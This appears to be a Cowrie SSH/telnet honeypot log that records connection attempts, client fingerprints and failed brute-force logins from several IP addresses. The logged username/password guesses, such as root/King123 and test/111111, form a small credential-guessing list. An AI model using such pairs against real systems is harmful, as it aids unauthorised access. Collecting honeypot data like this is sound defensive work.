{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:40:25.974509Z","src_ip":"77.94.47.83","session":"243b35635e55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"24081985","message":"login attempt [root/24081985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:40:26.293792Z","src_ip":"77.94.47.83","session":"243b35635e55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:40:27.402386Z","src_ip":"77.94.47.83","session":"243b35635e55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":51458,"dst_ip":"10.17.0.5","dst_port":23,"session":"17f96efd4cb1","protocol":"telnet","message":"New connection: 172.81.62.90:51458 (10.17.0.5:23) [session: 17f96efd4cb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:40:56.798932Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":54230,"dst_ip":"159.203.135.109","dst_port":22,"session":"b86b372bc901","protocol":"ssh","message":"New connection: 46.29.234.126:54230 (159.203.135.109:22) [session: b86b372bc901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:40:57.369530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:40:57.374544Z","src_ip":"46.29.234.126","session":"b86b372bc901","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:40:57.482476Z","src_ip":"46.29.234.126","session":"b86b372bc901","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123zxc456","message":"login attempt [root/123zxc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:40:57.955462Z","src_ip":"46.29.234.126","session":"b86b372bc901","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:40:59.069255Z","src_ip":"46.29.234.126","session":"b86b372bc901","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":43994,"dst_ip":"159.203.135.109","dst_port":22,"session":"172882e8ed21","protocol":"ssh","message":"New connection: 152.32.171.213:43994 (159.203.135.109:22) [session: 172882e8ed21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:41:27.731090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:41:27.735189Z","src_ip":"152.32.171.213","session":"172882e8ed21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:41:27.953456Z","src_ip":"152.32.171.213","session":"172882e8ed21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"simon","password":"simon","message":"login attempt [simon/simon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:41:28.854894Z","src_ip":"152.32.171.213","session":"172882e8ed21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:41:30.074170Z","src_ip":"152.32.171.213","session":"172882e8ed21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.66839647293091,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:41:32.467221Z","src_ip":"172.81.62.90","session":"17f96efd4cb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":43918,"dst_ip":"10.17.0.5","dst_port":23,"session":"1670e9d16470","protocol":"telnet","message":"New connection: 94.23.66.112:43918 (10.17.0.5:23) [session: 1670e9d16470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:42:13.300057Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":49936,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c96849afb5b","protocol":"ssh","message":"New connection: 103.77.175.15:49936 (159.203.135.109:22) [session: 1c96849afb5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:42:17.209802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:42:17.213060Z","src_ip":"103.77.175.15","session":"1c96849afb5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:42:17.463161Z","src_ip":"103.77.175.15","session":"1c96849afb5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"010195","message":"login attempt [root/010195] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:42:18.219284Z","src_ip":"103.77.175.15","session":"1c96849afb5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:42:19.472178Z","src_ip":"103.77.175.15","session":"1c96849afb5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.020587682724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:42:43.320537Z","src_ip":"94.23.66.112","session":"1670e9d16470","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":54644,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6b4ba026e3b","protocol":"ssh","message":"New connection: 27.71.230.31:54644 (10.17.0.5:22) [session: f6b4ba026e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:43:38.555558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:43:38.672892Z","src_ip":"27.71.230.31","session":"f6b4ba026e3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:43:39.907969Z","src_ip":"27.71.230.31","session":"f6b4ba026e3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":40728,"dst_ip":"10.17.0.5","dst_port":23,"session":"57747daaae8f","protocol":"telnet","message":"New connection: 132.148.22.172:40728 (10.17.0.5:23) [session: 57747daaae8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:43:39.986800Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"King123","message":"login attempt [root/King123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:43:40.680767Z","src_ip":"27.71.230.31","session":"f6b4ba026e3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:43:43.107360Z","src_ip":"27.71.230.31","session":"f6b4ba026e3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.205263137817383,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:44:11.191944Z","src_ip":"132.148.22.172","session":"57747daaae8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":51062,"dst_ip":"159.203.135.109","dst_port":22,"session":"6dca186be379","protocol":"ssh","message":"New connection: 46.29.234.126:51062 (159.203.135.109:22) [session: 6dca186be379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:44:15.148458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:44:15.153597Z","src_ip":"46.29.234.126","session":"6dca186be379","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:44:15.265614Z","src_ip":"46.29.234.126","session":"6dca186be379","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prakash","password":"prakash123","message":"login attempt [prakash/prakash123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:44:15.749503Z","src_ip":"46.29.234.126","session":"6dca186be379","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:44:16.864433Z","src_ip":"46.29.234.126","session":"6dca186be379","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":38418,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c609eee65de","protocol":"ssh","message":"New connection: 152.32.171.213:38418 (159.203.135.109:22) [session: 9c609eee65de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:44:40.513093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:44:40.517068Z","src_ip":"152.32.171.213","session":"9c609eee65de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:44:40.736578Z","src_ip":"152.32.171.213","session":"9c609eee65de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"111111","message":"login attempt [test/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:44:41.644316Z","src_ip":"152.32.171.213","session":"9c609eee65de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:44:42.865505Z","src_ip":"152.32.171.213","session":"9c609eee65de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":45940,"dst_ip":"159.203.135.109","dst_port":22,"session":"371cfb5fefbc","protocol":"ssh","message":"New connection: 27.71.230.31:45940 (159.203.135.109:22) [session: 371cfb5fefbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:44:57.514019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:44:57.591469Z","src_ip":"27.71.230.31","session":"371cfb5fefbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:44:58.050521Z","src_ip":"27.71.230.31","session":"371cfb5fefbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":52584,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0abd62f4475","protocol":"ssh","message":"New connection: 103.27.238.114:52584 (159.203.135.109:22) [session: b0abd62f4475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:45:01.353854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:45:01.362736Z","src_ip":"103.27.238.114","session":"b0abd62f4475","protocol":"ssh"}
